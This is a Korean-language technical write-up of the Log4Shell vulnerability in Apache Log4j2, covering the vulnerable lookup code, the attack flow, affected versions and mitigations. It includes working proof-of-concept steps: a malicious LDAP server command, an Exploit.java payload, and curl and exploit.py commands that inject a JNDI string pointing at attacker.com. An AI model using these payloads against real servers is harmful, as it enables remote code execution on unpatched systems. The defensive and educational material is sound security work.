
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI 주입 RCE
CVSS 10.0 치명적 | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 | CWE-917: 표현식 언어 주입에 대한 부적절한 중화
Log4Shell(CVE-2021-44228)은 2020년대 가장 심각한 취약점으로 꼽히며, Apache Log4j2 2.0~2.14.1 버전에 영향을 미칩니다. 2021년 11월 Alibaba Cloud Security의 Chen Zhaojun이 발견했고 2021년 12월 9일에 공개적으로 알려졌으며, 전 세계 수억 대의 서버에서 인증 없는 원격 코드 실행을 가능하게 합니다.
이 취약점은 Log4j2의 JNDI(Java Naming and Directory Interface) 조회 기능에서 발생하며, 로그 메시지에 ${jndi:ldap://attacker.com/a}와 같은 임의의 조회 문자열을 허용합니다. 이러한 패턴을 포함한 사용자 제어 문자열이 기록되면 Log4j2는 JNDI 조회를 수행하여 원격 Java 클래스를 로드하고 실행할 수 있습니다.
Log4j2는 로그 메시지의 ${...} 패턴을 다양한 소스(JNDI, 환경 변수, 시스템 속성 등)의 값으로 대체하는 "Message Lookup"이라는 기능을 도입했습니다. JndiLookup 클래스(org.apache.logging.log4j.core.lookup.JndiLookup)는 적절한 검증 없이 공격자가 제어하는 문자열에 대해 InitialContext.lookup()을 호출합니다.
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
lookup() 메서드는 javax.naming.InitialContext.lookup()에 위임하며, LDAP, RMI, DNS 또는 CORBA 서버에서 원격 객체를 로드할 수 있습니다.
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
marshalsec를 사용하여 악성 LDAP 서버를 시작합니다:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
또는 HTTP 헤더를 통해:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
포함된 exploit.py는 다음 기능을 제공합니다:
| 버전 | 상태 |
|---|
| Log4j 2.0 – 2.14.1 | 취약함 |
| Log4j 2.15.0-rc1 | 부분 수정(CVE-2021-45046 우회 가능) |
| Log4j 2.15.0 | 제한적 수정(기본적으로 JNDI 비활성화, 제한된 조회) |
| Log4j 2.16.0 | JNDI 비활성화, Message Lookups 제거 |
| Log4j 2.17.0 | 2.x 최종 수정(CVE-2021-44832) |
| Log4j 1.x | 직접적인 영향 없음(다른 코드베이스) |
| 접근 방식 | 세부 사항 |
|---|
| Log4j 업그레이드 | 2.17.0+(2.x) 또는 2.12.4+(Java 7)로 업데이트 |
| JVM 플래그 | -Dlog4j2.formatMsgNoLookups=true |
| JndiLookup 제거 | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| WAF 규칙 | 요청에서 ${jndi: 패턴 차단 |
| 네트워크 제어 | 신뢰할 수 없는 서버로의 아웃바운드 LDAP/RMI 차단 |